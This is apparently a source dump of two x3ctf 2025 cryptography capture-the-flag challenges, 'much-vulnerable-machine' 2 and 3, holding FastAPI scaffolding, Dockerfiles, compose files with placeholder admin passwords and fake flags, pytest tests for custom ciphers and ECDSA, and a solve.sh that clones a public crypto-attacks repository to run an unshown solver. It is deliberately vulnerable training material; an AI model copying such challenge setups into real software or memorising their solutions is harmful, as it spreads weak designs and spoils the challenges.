--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import SCBCCipher
6 |
7 |
8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
9 | @pytest.mark.parametrize("d", [1337, 895])
10 | def test_scbccipher(msg: bytes, d: int):
11 | key = long_to_bytes(d, 16)
12 | ciph = SCBCCipher(key)
13 |
14 | iv = long_to_bytes(getrandbits(128), 16)
15 | ct = ciph.encrypt(msg, iv)
16 |
17 | assert ct
18 | assert msg == ciph.decrypt(ct, iv)
19 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-handout/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=somenotbrutablepassword
13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr}
14 | - ENV=DEV
15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"]
16 | volumes:
17 | - ./api:/app
18 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-solution/solve.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | rm -rf tmp
4 |
5 | cp -r ../challenge-src/api tmp
6 | cp solve.py tmp
7 |
8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks
9 |
10 | python3 ./solve.py
11 |
12 | cd ..
13 |
14 | rm -rf tmp
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import SCBCCipher
6 |
7 |
8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
9 | @pytest.mark.parametrize("d", [1337, 895])
10 | def test_scbccipher(msg: bytes, d: int):
11 | key = long_to_bytes(d, 16)
12 | ciph = SCBCCipher(key)
13 |
14 | iv = long_to_bytes(getrandbits(128), 16)
15 | ct = ciph.encrypt(msg, iv)
16 |
17 | assert ct
18 | assert msg == ciph.decrypt(ct, iv)
19 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-2/challenge-src/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=somenotbrutablepassword
13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr}
14 | - ENV=DEV
15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"]
16 | volumes:
17 | - ./api:/app
18 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits, seed
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import XSCBCCipher
6 | from mvmcryption.crypto.rsa import RSA
7 |
8 |
9 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
10 | @pytest.mark.parametrize("d", [1337, 895])
11 | def test_xscbccipher(msg: bytes, d: int):
12 | key = long_to_bytes(d, 16)
13 | rsa = RSA()
14 | ciph = XSCBCCipher(key, rsa)
15 |
16 | seed(69)
17 | iv = long_to_bytes(getrandbits(128), 16)
18 | seed(69)
19 | ct, sig = ciph.encrypt(msg)
20 |
21 | assert ct
22 | assert sig
23 |
24 | assert msg == ciph.decrypt(ct, sig, iv)
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-handout/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=somenotbruteforceablepasswordbrrrrrrrrrr
13 | - FLAG=MVM{f4k3_fl4g}
14 | - ENV=DEV
15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"]
16 | volumes:
17 | - ./api:/app
18 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-solution/solve.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | rm -rf tmp
4 |
5 | cp -r ../challenge-src/api tmp
6 | cp solve.py tmp
7 |
8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks
9 |
10 | python3 ./solve.py
11 |
12 | cd ..
13 |
14 | rm -rf tmp
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-slim
2 |
3 | ENV PYTHONUNBUFFERED=1 \
4 | POETRY_VIRTUALENVS_CREATE=false
5 |
6 | WORKDIR /app
7 |
8 | COPY pyproject.toml poetry.lock ./
9 |
10 | RUN pip install --no-cache-dir poetry \
11 | && poetry config virtualenvs.create false \
12 | && poetry install --only main --no-interaction --no-ansi --no-root \
13 | && apt update \
14 | && apt install -y --no-install-recommends wait-for-it \
15 | && rm -rf /var/lib/apt/lists/*
16 |
17 |
18 | COPY . .
19 |
20 | EXPOSE 8000
21 |
22 | CMD ["fastapi", "run", "./mvmcryption/app.py"]
23 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/crypto/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/db/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from mvmcryption.environ import getenv
4 |
5 | from .db import connect
6 | from .users import Users
7 |
8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD")
9 |
10 | TABLE_QUERY = """
11 | CREATE TABLE IF NOT EXISTS users (
12 | id INTEGER PRIMARY KEY,
13 | username VARCHAR(50) NOT NULL UNIQUE,
14 | email VARCHAR(100) NOT NULL UNIQUE,
15 | password VARCHAR(100) NOT NULL
16 | );
17 | """
18 |
19 |
20 | def initialize() -> None:
21 | with connect() as conn:
22 | conn.executescript(TABLE_QUERY)
23 | try:
24 | Users(conn).create(
25 | username="admin",
26 | email="admin@this-company-luckily-does-not-exist.mvm",
27 | password=ADMIN_PASSWORD,
28 | )
29 | except Exception as e: # maybe it already exists
30 | print(e)
31 |
32 |
33 | __all__ = [
34 | "Users",
35 | "initialize",
36 | ]
37 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/environ.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def getenv(key: str) -> str:
5 | """Get environment variable and raise an error if it is unset."""
6 | if val := os.getenv(key):
7 | return val
8 | msg = "ENV variable %s is required!"
9 | raise OSError(msg % key)
10 |
11 |
12 | IS_DEV = os.getenv("ENV") == "DEV"
13 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/resp.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | from fastapi import HTTPException, status
4 |
5 | PERMISSION_DENIED = HTTPException(
6 | status_code=status.HTTP_403_FORBIDDEN,
7 | detail="Permission denied.",
8 | )
9 |
10 |
11 | def not_found(model: object) -> HTTPException:
12 | return HTTPException(
13 | status_code=status.HTTP_404_NOT_FOUND,
14 | detail=f"{model.__name__} not found.",
15 | )
16 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/routers/__init__.py:
--------------------------------------------------------------------------------
1 | from .auth import auth_router as auth
2 | from .crypto import crypto_router as crypto
3 | from .users import users_router as users
4 |
5 | __all__ = [
6 | "auth",
7 | "crypto",
8 | "users",
9 | ]
10 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/utils.py:
--------------------------------------------------------------------------------
1 | from base64 import urlsafe_b64decode, urlsafe_b64encode
2 |
3 |
4 | def encode(content: bytes | str) -> str:
5 | def _encode():
6 | if isinstance(content, str):
7 | return urlsafe_b64encode(content.encode()).decode()
8 | return urlsafe_b64encode(content).decode()
9 |
10 | return _encode().replace("=", "")
11 |
12 |
13 | def decode(content: str | bytes) -> bytes:
14 | rem = len(content) % 4
15 |
16 | if rem > 0:
17 | try:
18 | content += b"=" * (4 - rem)
19 | except Exception:
20 | content += "=" * (4 - rem)
21 |
22 | if isinstance(content, str):
23 | return urlsafe_b64decode(content.encode())
24 | return urlsafe_b64decode(content)
25 |
26 |
27 | def chunk(stuff: bytes):
28 | """Chunk stuff into 16 byte blocks."""
29 |
30 | assert len(stuff)
31 | assert len(stuff) % 16 == 0
32 | blocks = []
33 | for i in range(0, len(stuff), 16):
34 | blocks.append(stuff[i : i + 16])
35 | return blocks
36 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.poetry]
2 | name = "mvmcryption"
3 | version = "0.0.0"
4 | description = "much secure"
5 | authors = ["xtea418"]
6 | readme = "README.md"
7 |
8 | [tool.poetry.dependencies]
9 | python = "^3.12"
10 | pycryptodome = "^3.21.0"
11 | pydantic = "^2.10.2"
12 | fastapi = {extras = ["standard"], version = "^0.115.5"}
13 | argon2-cffi = "^23.1.0"
14 | fastecdsa = "^3.0.0"
15 | pwntools = "^4.14.0"
16 |
17 |
18 | [tool.poetry.group.dev.dependencies]
19 | ruff = "^0.9.2"
20 | pytest = "^8.3.4"
21 |
22 | [build-system]
23 | requires = ["poetry-core"]
24 | build-backend = "poetry.core.masonry.api"
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/tests/__init__.py
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/tests/test_cipher.py:
--------------------------------------------------------------------------------
1 | from random import getrandbits, seed
2 |
3 | import pytest
4 | from Crypto.Util.number import long_to_bytes
5 | from mvmcryption.crypto.cipher import XSCBCCipher
6 | from mvmcryption.crypto.rsa import RSA
7 |
8 |
9 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
10 | @pytest.mark.parametrize("d", [1337, 895])
11 | def test_xscbccipher(msg: bytes, d: int):
12 | key = long_to_bytes(d, 16)
13 | rsa = RSA()
14 | ciph = XSCBCCipher(key, rsa)
15 |
16 | seed(69)
17 | iv = long_to_bytes(getrandbits(128), 16)
18 | seed(69)
19 | ct, sig = ciph.encrypt(msg)
20 |
21 | assert ct
22 | assert sig
23 |
24 | assert msg == ciph.decrypt(ct, sig, iv)
25 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/api/tests/test_ecdsa.py:
--------------------------------------------------------------------------------
1 | import pytest
2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature
3 |
4 |
5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
6 | @pytest.mark.parametrize("d", [1337, 895])
7 | def test_ecdsa(msg: bytes, d: int):
8 | ecdsa = ECDSA(d)
9 | sig = ecdsa.sign(msg)
10 |
11 | assert ecdsa.verify(sig, msg)
12 |
13 |
